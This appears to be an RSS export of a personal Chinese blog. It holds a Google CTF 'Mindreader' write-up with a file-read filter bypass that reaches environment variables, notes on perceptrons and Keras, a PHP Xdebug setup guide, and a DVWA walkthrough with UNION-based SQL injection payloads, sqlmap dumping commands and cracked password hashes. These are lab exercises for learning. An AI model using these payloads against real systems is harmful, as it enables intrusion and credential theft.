&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/google6.png&quot; alt=&quot;requirement&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确定后端是flask&lt;/p&gt;
&lt;p&gt;源码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask, request, abort




assert os.environ[&apos;FLAG&apos;]

app = Flask(__name__)

INDEX = open(&apos;index.html&apos;).read()

HALL_OF_SHAME = [
    &apos;173.171.203.59&apos;,
    &apos;2a02:6b8:b010:6026:84:201:185:197&apos;,
    &apos;35.185.158.159&apos;,
    &apos;81.17.25.8&apos;
]

@app.route(&apos;/&apos;)
def index():
    for ip in request.headers.get(&apos;X-Forwarded-For&apos;, &apos;&apos;).split(&apos;,&apos;):
        ip = ip.strip().lower()
        if ip in HALL_OF_SHAME:
            abort(403)

    if &apos;f&apos; in request.args:
        try:
            f = request.args[&apos;f&apos;]
            if re.search(r&apos;proc|random|zero|stdout|stderr&apos;, f):
                abort(403)
            elif &apos;\x00&apos; in f:
                abort(404)
            return open(f).read(4096)
        except IOError:
            abort(404)
    else:
        return INDEX
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到flag是藏在环境变量里面的，而环境变量就在&lt;code&gt;/proc/environ&lt;/code&gt;中&lt;/p&gt;
&lt;p&gt;那就直接去读呗&lt;/p&gt;
&lt;p&gt;但是限制了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if &apos;f&apos; in request.args:
     try:
         f = request.args[&apos;f&apos;]
         if re.search(r&apos;proc|random|zero|stdout|stderr&apos;, f):
             abort(403)
         elif &apos;\x00&apos; in f:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Linux中有一个叫做&lt;code&gt;symlink method&lt;/code&gt;&lt;br /&gt;
也就是相当于一个快捷方式，但是却不同于Windows中的shortcut&lt;br /&gt;
而正好：&lt;code&gt;/dev/fd&lt;/code&gt;这个指向了&lt;code&gt;/proc/self/fd&lt;/code&gt;这样payload就不难理解了：&lt;br /&gt;
&lt;code&gt;/dev/fd/../environ&lt;/code&gt;&lt;br /&gt;
访问&lt;code&gt;/dev/fd&lt;/code&gt;就相当于访问了&lt;code&gt;/proc/self&lt;/code&gt;之后回退一次就可以找到&lt;code&gt;environ&lt;/code&gt;这个文件了&lt;/p&gt;
&lt;p&gt;Linux中 &lt;code&gt;/dev/fd/0&lt;/code&gt;运行效果是这样的，相当于你输入啥它就会回答啥&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; ✘ pxy@LAPTOP-UBIEP4K5  ~  sudo cat /dev/fd/0
a
a
pxy
pxy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来了解一下ln命令&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;软链接：英文&lt;code&gt;symbolic link&lt;/code&gt;非常类似于Windows中的快捷方式&lt;/li&gt;
&lt;li&gt;硬链接：英文&lt;code&gt;hard link&lt;/code&gt;这类文件会拥有自己的inode节点和名称，其inode会指向文件内容所在的数据块emmm后面不是很懂了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;建立软链接的方式：&lt;br /&gt;
&lt;code&gt;ln -s 源文件名称 软链接文件名称&lt;/code&gt;&lt;br /&gt;
目录和文件均可&lt;/p&gt;
&lt;p&gt;现在当前目录下创建一个指向&lt;code&gt;/proc/sys&lt;/code&gt;的链接&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/google2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们就可以通过目录遍历来进入到其他的目录了。&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/google3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;软链接还会存在这个问题：&lt;/p&gt;
&lt;p&gt;链接的重复定义&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/google4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样就不会出问题了，加个&lt;code&gt;-n&lt;/code&gt;选项&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/google5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@forwardsecrecy/google-ctf-2017-mindreader-570e8acf53b7&quot;&gt;参考&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.rootnetsec.com/googlectf-mindreader/&quot;&gt;GoogleCTF - Mindreader&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>deep learning0</title><link>https://rayepeng.net/posts/deep-learning0/</link><guid isPermaLink="true">https://rayepeng.net/posts/deep-learning0/</guid><pubDate>Sun, 21 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;deep learning&lt;/h1&gt;
&lt;p&gt;整理一下上课的笔记，不然全都会忘了去&lt;/p&gt;
&lt;h2&gt;无监督学习&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;self organizing map&lt;/code&gt; 简称SOM算法&lt;/p&gt;
&lt;p&gt;大意：给定一个向量$v_{k}$,寻找到距离最近的神经元&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;找到最接近的神经元&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;更新$n_{i}$&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;wikipedia上一张很形象的图片:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;蓝色斑点是训练数据的分布，小白色光盘是从该分布中抽取的当前训练数据。首先（左），SOM节点任意地位于数据空间中。选择最接近训练基准的节点（以黄色突出显示）。它被移向训练数据，因为（在较小程度上）是它在网格上的邻居。在多次迭代之后，网格倾向于近似数据分布（右）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/07/07/5d22023bd954e64199.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;有监督学习&lt;/h2&gt;
&lt;h3&gt;数学知识&lt;/h3&gt;
&lt;h4&gt;特征向量&lt;/h4&gt;
&lt;p&gt;线性代数中的特征向量：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;对于一个给定的方阵A，它的特征向量v经过线性变化之后，得到的新向量仍然与原来的v保持在同一条直线上，但其长度或方向也许会改变，即：&lt;/p&gt;
&lt;p&gt;此时$v$就是矩阵$A$的特征向量，$\lambda$就是对应的特征值&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进一步：在一定条件下，一个变换可以由其特征值特征向量完全表述，也就是说，所有的特征向量组成了这向量空间的一组基底。&lt;br /&gt;
一个特征空间是具有相同特征值的特征向量与一个同维数的零向量的集合，比如$E_{\lambda }=\left \{ u\in V | Au=\lambda u\right \}$即为线性变化$A$中以$\lambda$为特征值的特征空间&lt;/p&gt;
&lt;p&gt;抽象概念不容易理解，举几个栗子：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;恒等变换$I$的特征向量可以看到所有的特征向量都是恒等变换$I$的特征向量，恒等变换的特征空间只有一个就是整个空间&lt;/li&gt;
&lt;li&gt;类似的，数乘变换$\lambda I$的特征向量也是所有的非零向量，因为按照定义：&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;感知器&lt;/h3&gt;
&lt;p&gt;看张图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Uo24IIn.png&quot; alt=&quot;Ncell&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数学表述为：$t = f(\sum _{i=1}^{n} w_{i}x_{i} + b) = f(\mathbf{w}^{T} \mathbf{x})$&lt;/p&gt;
&lt;p&gt;f函数的表达式：&lt;/p&gt;
&lt;p&gt;$\mathbf{x} = \left [ x_{1}\, x_{2} … \, x_{n} \, 1 \right]^{T}$, $\mathbf{w} = \left [ w_{1}\, w_{2} \, …w_{n} \, b \right]^{T}$&lt;/p&gt;
&lt;p&gt;如何训练？&lt;/p&gt;
&lt;p&gt;我们来看一个训练与运算的demo&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

def load_data():
  &apos;&apos;&apos;
  加载数据，input_data和labels对应
  &apos;&apos;&apos;
    input_data = [[1, 1], [0, 0], [1, 0], [0, 1]]
    labels = [1, 0, 0, 0]
    return input_data, labels

def train_pre(input_data, y, iteration, rate):
  &apos;&apos;&apos;
  训练，更新w和b
  &apos;&apos;&apos;
    unit_step = lambda x: 0 if x &amp;lt; 0 else 1
    w = np.random.rand(len(input_data[0]))
    bias = 0.0

    for i in range(iteration):
        samples = zip(input_data, y)
        for (input_i, label) in samples:
            result = input_i * w + bias
            result = float(sum(result))
            y_pred = float(unit_step(result))
            w = w + rate * (label - y_pred) * np.array(input_i)
            bias = rate * (label - y_pred)
    return w, bias

def predict(input_i, w, b):
  &apos;&apos;&apos;
  预测
  &apos;&apos;&apos;
    unit_step = lambda x: 0 if x &amp;lt; 0 else 1
    result = input_i * w + b
    result = sum(result)
    y_pred = float(unit_step(result))
    print(y_pred)

if __name__ == &quot;__main__&quot;:
    input_data, y = load_data()
    w, b = train_pre(input_data, y, 20, 0.01)
    predict([1, 1], w, b)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们很惊讶地发现一个如此简单地模型竟然不可思议地完成了这个任务。&lt;br /&gt;
数据更新：&lt;br /&gt;
$w(j) := w(j) + \alpha (y-f(x))x(j) (j = 1,…n)$&lt;/p&gt;
&lt;h3&gt;异或问题&lt;/h3&gt;
&lt;p&gt;当时老师上课时候提到异或问题是不可解的，后来查了一下资料才明白在神经网络发展的早期，异或问题确实是不可解的，不过通过加入隐藏层使得异或问题能够有了新的解法&lt;/p&gt;
&lt;p&gt;如下图：&lt;br /&gt;
&lt;img src=&quot;https://i.loli.net/2019/07/07/5d2204580b53040600.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;复习的时候才注意到原来老师提到了通过加入隐藏层的方式来解决异或问题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/07/07/5d220559de3ef92755.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考资料&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/Belter/p/6711160.html&quot;&gt;【机器学习】神经网络实现异或（XOR）&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://zhuanlan.zhihu.com/p/25736962&quot;&gt;1.5 图形化理解神经网络中的异或问题&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%84%9F%E7%9F%A5%E5%99%A8&quot;&gt;感知器 wikipedia&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>deep learning1</title><link>https://rayepeng.net/posts/deep-learning1/</link><guid isPermaLink="true">https://rayepeng.net/posts/deep-learning1/</guid><pubDate>Sun, 21 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;感知机补充&lt;/h3&gt;
&lt;p&gt;接着写&lt;/p&gt;
&lt;p&gt;感知机的训练中，老师还提供了一部份资料，比如训练出$y=2x$&lt;/p&gt;
&lt;p&gt;我们简要地看一下一次训练的结果：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;bias&lt;/th&gt;
&lt;th&gt;x&lt;/th&gt;
&lt;th&gt;y&lt;/th&gt;
&lt;th&gt;w0&lt;/th&gt;
&lt;th&gt;w1&lt;/th&gt;
&lt;th&gt;yout&lt;/th&gt;
&lt;th&gt;y-yout&lt;/th&gt;
&lt;th&gt;adj0&lt;/th&gt;
&lt;th&gt;adj1&lt;/th&gt;
&lt;th&gt;alpha&lt;/th&gt;
&lt;th&gt;w0new&lt;/th&gt;
&lt;th&gt;w1new&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0.512&lt;/td&gt;
&lt;td&gt;1.023&lt;/td&gt;
&lt;td&gt;0.719&lt;/td&gt;
&lt;td&gt;0.403&lt;/td&gt;
&lt;td&gt;0.926&lt;/td&gt;
&lt;td&gt;0.977&lt;/td&gt;
&lt;td&gt;0.977&lt;/td&gt;
&lt;td&gt;0.500&lt;/td&gt;
&lt;td&gt;0.7&lt;/td&gt;
&lt;td&gt;0.788&lt;/td&gt;
&lt;td&gt;0.438&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;进行很多次训练之后画出的图形：&lt;br /&gt;
&lt;img src=&quot;https://i.loli.net/2019/07/10/5d2533696b1e993944.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;预测的还是挺准确的&lt;/p&gt;
&lt;h3&gt;为什么需要bias？&lt;/h3&gt;
&lt;p&gt;概念上很好理解，bias就是将一个正比例函数变为了一次函数，这样不必每次都过原点，分类的准确性也就大大地提高了&lt;/p&gt;
&lt;h2&gt;多层感知机&lt;/h2&gt;
&lt;p&gt;一层的感知机是没办法处理异或问题的&lt;/p&gt;
&lt;p&gt;所以需要增加隐藏层&lt;br /&gt;
就像下面这样：&lt;br /&gt;
&lt;img src=&quot;https://i.loli.net/2019/07/10/5d25354fec71179261.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
这样就可以做到了：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/07/10/5d253567b050673436.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;感觉MLP的数学知识太过复杂了，暂时放着&lt;/p&gt;
&lt;h2&gt;keras&lt;/h2&gt;
&lt;p&gt;从栗子代码开始：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from keras.models import Sequential

model = Sequential()
from keras.layers import Dense
&apos;&apos;&apos;
使用add来堆叠模型
&apos;&apos;&apos;
model.add(Dense(units=64, activation=&apos;relu&apos;, input_dim=100))
model.add(Dense(units=10, activation=&apos;softmax&apos;))
&apos;&apos;&apos;
使用compile来配置学习过程
&apos;&apos;&apos;
model.compile(loss=&apos;categorical_crossentropy&apos;,
              optimizer=&apos;sgd&apos;,
              metrics=[&apos;accuracy&apos;])
# x_train 和 y_train 是 Numpy 数组 -- 就像在 Scikit-Learn API 中一样。
model.fit(x_train, y_train, epochs=5, batch_size=32)
&apos;&apos;&apos;
评估模型
&apos;&apos;&apos;
loss_and_metrics = model.evaluate(x_test, y_test, batch_size=128)
classes = model.predict(x_test, batch_size=128)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Sequential&lt;/h3&gt;
&lt;h3&gt;compile&lt;/h3&gt;
&lt;p&gt;在训练模型之前，需要配置学习过程，compile接收三个参数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;优化器optimizer&lt;/li&gt;
&lt;li&gt;损失函数loss&lt;/li&gt;
&lt;li&gt;评估标准metrics&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一个个来看&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;优化器&lt;br /&gt;
可以先实例化一个优化器对象，然后将它传入&lt;code&gt;model.compile()&lt;/code&gt;，或者可以通过&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;损失函数&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;损失函数（或称目标函数、优化评分函数）是编译模型时所需的两个参数之一：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;model.compile(loss=&apos;mean_squared_error&apos;, optimizer=&apos;sgd&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以传递一个现有的损失函数名，或者一个tensorflow符号函数，有以下两个参数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;y_true: 真实标签.&lt;/li&gt;
&lt;li&gt;y_pred: 预测值,其shape与y_true相同&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可用的损失函数：&lt;br /&gt;
mean_squared_error&lt;br /&gt;
mean_absolute_error&lt;br /&gt;
等&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/xwd18280820053/article/details/70681750&quot;&gt;神经网络中w,b参数的作用（为何需要偏置b的解释）&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blog.csdn.net/hy13684802853/article/details/78717475&quot;&gt;深度学习中偏移项bias的作用&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>vscode调试php</title><link>https://rayepeng.net/posts/vscode%E8%B0%83%E8%AF%95php/</link><guid isPermaLink="true">https://rayepeng.net/posts/vscode%E8%B0%83%E8%AF%95php/</guid><pubDate>Sun, 21 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;使用vscode调试php代码&lt;/h1&gt;
&lt;h2&gt;下载xdebug&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://xdebug.org/download.php&quot;&gt;官网&lt;/a&gt;&lt;br /&gt;
但是需要自己确定php的版本和编译器的版本&lt;/p&gt;
&lt;p&gt;但是官网的链接似乎有问题，php5.5的两个反过来了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/11/MuOcAVYev9dS7Rf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后将其添加到&lt;code&gt;php.ini&lt;/code&gt;文件中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[XDebug]
zend_extension = php_xdebug-2.5.5-5.5-vc11.dll
xdebug.remote_enable = 1
xdebug.remote_autostart = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;将php添加到环境变量中&lt;/h2&gt;
&lt;p&gt;这就不细说了&lt;/p&gt;
&lt;h2&gt;配置vscode中的php路径&lt;/h2&gt;
&lt;p&gt;在settings.json中指定&lt;/p&gt;
&lt;h2&gt;调试&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/cbMm5FT.png&quot; alt=&quot;php2&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;踩到的坑&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;VScode的php debug插件默认是用环境变量中的php来进行调试的，所以php如果没有加入到环境变量中的话是会报错的。&lt;/li&gt;
&lt;li&gt;我刚开始用了wampserver的php来进行调试，但是后来失败了，说是没办法加载xdebug插件，所以换成了phpstudy&lt;/li&gt;
&lt;li&gt;找不到setting文件？这个坑害惨了&lt;br /&gt;
在这个地方需要添加php的路径&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/l1Vx4cI.png&quot; alt=&quot;php0&quot; /&gt;&lt;/li&gt;
&lt;li&gt;两种调试方式，一种是listen for xdebug，需要打开浏览器，另一种是launch currently open script&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>DVWA学习</title><link>https://rayepeng.net/posts/dvwa%E5%AD%A6%E4%B9%A0/</link><guid isPermaLink="true">https://rayepeng.net/posts/dvwa%E5%AD%A6%E4%B9%A0/</guid><pubDate>Sat, 20 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;DVWA&lt;/h1&gt;
&lt;p&gt;用的vulstudy的环境&lt;br /&gt;
默认用户名是&lt;code&gt;admin&lt;/code&gt;密码是&lt;code&gt;password&lt;/code&gt;&lt;br /&gt;
需要启动的时候&lt;code&gt;docker-compose up -d&lt;/code&gt;就行了&lt;br /&gt;
停止的话&lt;code&gt;docker-compose stop&lt;/code&gt;停止容器&lt;/p&gt;
&lt;h2&gt;sql注入 最简单的&lt;/h2&gt;
&lt;p&gt;没办法是我太菜了，权当复习好了 :cry:&lt;/p&gt;
&lt;p&gt;输入1得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ID: 1
First name: admin
Surname: admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后开始爆字段&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1’ order by 2 #&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;确认回显位置：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1’ union select 1,2 #&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;ID: 1&apos; union select 1,2 #
First name: 1
Surname: 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开始爆数据库&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1’ union select database(),2 #&lt;br /&gt;
得到数据库名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ID: 1&apos; union select database(),2 #
First name: dvwa
Surname: 2
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;p&gt;开始爆表&lt;br /&gt;
表都存在&lt;code&gt;information_schema.tables&lt;/code&gt;这里面&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1’ union select table_name,2 from information_schema.tables where table_schema= ‘dvwa’#&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ID: 1&apos; union select table_name,2 from information_schema.tables where table_schema= &apos;dvwa&apos;#
First name: guestbook
Surname: 2
ID: 1&apos; union select table_name,2 from information_schema.tables where table_schema= &apos;dvwa&apos;#
First name: users
Surname: 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开始爆字段&lt;br /&gt;
然而我并不知道怎么爆字段:disappointed:&lt;br /&gt;
于是猜测是&lt;code&gt;password&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1’ union select password,2 from users&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;得到了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ID: 1&apos; union select password, 2 from users #
First name: 5f4dcc3b5aa765d61d8327deb882cf99
Surname: 2
ID: 1&apos; union select password, 2 from users #
First name: e99a18c428cb38d5f260853678922e03
Surname: 2
ID: 1&apos; union select password, 2 from users #
First name: 8d3533d75ae2c3966d7e0d4fcc69216b
Surname: 2
ID: 1&apos; union select password, 2 from users #
First name: 0d107d09f5bbe40cade3de5c71e9e9b7
Surname: 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;小白之旅到此结束&lt;/p&gt;
&lt;h3&gt;升级到medium&lt;/h3&gt;
&lt;p&gt;改成了post方式提交数据&lt;br /&gt;
这时候&lt;code&gt;sqlmap&lt;/code&gt;派上用场了&lt;/p&gt;
&lt;p&gt;先将抓到的数据包保存为&lt;code&gt;dvwa.txt&lt;/code&gt;文件&lt;br /&gt;
然后&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;python sqlmap.py -r “dvwa.txt” —dbs&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;sqlmap很聪明的判断出这是MYSQL数据库并且列出了所有的数据库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[22:21:04] [INFO] fetching database names
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过这个payload很神奇&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Parameter: id (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (1900=1900) THEN 1 ELSE (SELECT 6858 UNION SELECT 6800) END))&amp;amp;Submit=Submit

    Type: error-based
    Title: MySQL &amp;gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b7a6b71,(SELECT (ELT(7517=7517,1))),0x7162787071,0x78))s), 8446744073709551610, 8446744073709551610)))&amp;amp;Submit=Submit

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)&amp;amp;Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x716b7a6b71,0x464a61616642417872426e5a6c657171445176626c57687143476d6e4d5661714a5768516f4d566a,0x7162787071),NULL-- WDTr&amp;amp;Submit=Submit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;指定数据库爆表&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;python sqlmap.py -r “dvwa.txt” -D dvwa —tables&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;指定表爆字段&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;python sqlmap.py -r “dvwa.txt” -D dvwa -T users —columns&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;指定表然后dump数据&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;python sqlmap.py -r “dvwa.txt” -D dvwa -T users —dump-all&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;sqlmap很机智的在破解md5&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[22:22:02] [INFO] cracked password &apos;charley&apos; for hash &apos;8d3533d75ae2c3966d7e0d4fcc69216b&apos;
[22:22:04] [INFO] cracked password &apos;letmein&apos; for hash &apos;0d107d09f5bbe40cade3de5c71e9e9b7&apos;
[22:22:04] [INFO] cracked password &apos;abc123&apos; for hash &apos;e99a18c428cb38d5f260853678922e03&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到的表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_lo
gin |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+----------
----+
| 1       | http://192.168.41.161/hackable/users/admin.jpg   | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2019-07-15 13:57:22 | 0            |
| 2       | http://192.168.41.161/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2019-07-15 13:57:22 | 0            |
| 3       | http://192.168.41.161/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2019-07-15 13:57:22 | 0            |
| 4       | http://192.168.41.161/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2019-07-15 13:57:22 | 0            |
| 5       | http://192.168.41.161/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2019-07-15 13:57:22 | 0            |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sqlmap tql tql tql&lt;/p&gt;
&lt;h3&gt;high&lt;/h3&gt;
&lt;p&gt;这时候就很。。&lt;br /&gt;
&lt;img src=&quot;https://i.loli.net/2019/07/15/5d2c8e18e504271047.png&quot; alt=&quot;high&quot; /&gt;&lt;/p&gt;
&lt;p&gt;会弹出一个页面，输入数据之后再跳回来&lt;br /&gt;
这就很安全了:stuck_out_tongue:&lt;br /&gt;
但是。。&lt;br /&gt;
查看源码之后发现：&lt;br /&gt;
其实没有任何过滤；&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Check database
$query  = &quot;SELECT first_name, last_name FROM users WHERE user_id = &apos;$id&apos; LIMIT 1;&quot;;
$result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;], $query ) or die( &apos;&amp;lt;pre&amp;gt;Something went wrong.&amp;lt;/pre&amp;gt;&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以payload照样用，没问题&lt;/p&gt;
&lt;h3&gt;impossible&lt;/h3&gt;
&lt;p&gt;这次就更不一般了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

if( isset( $_GET[ &apos;Submit&apos; ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ &apos;user_token&apos; ], $_SESSION[ &apos;session_token&apos; ], &apos;index.php&apos; );

	// Get input
	$id = $_GET[ &apos;id&apos; ];

	// Was a number entered?
	if(is_numeric( $id )) {
		// Check the database
		$data = $db-&amp;gt;prepare( &apos;SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;&apos; );
		$data-&amp;gt;bindParam( &apos;:id&apos;, $id, PDO::PARAM_INT );
		$data-&amp;gt;execute();
		$row = $data-&amp;gt;fetch();

		// Make sure only 1 result is returned
		if( $data-&amp;gt;rowCount() == 1 ) {
			// Get values
			$first = $row[ &apos;first_name&apos; ];
			$last  = $row[ &apos;last_name&apos; ];

			// Feedback for end user
			$html .= &quot;&amp;lt;pre&amp;gt;ID: {$id}&amp;lt;br /&amp;gt;First name: {$first}&amp;lt;br /&amp;gt;Surname: {$last}&amp;lt;/pre&amp;gt;&quot;;
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?&amp;gt;
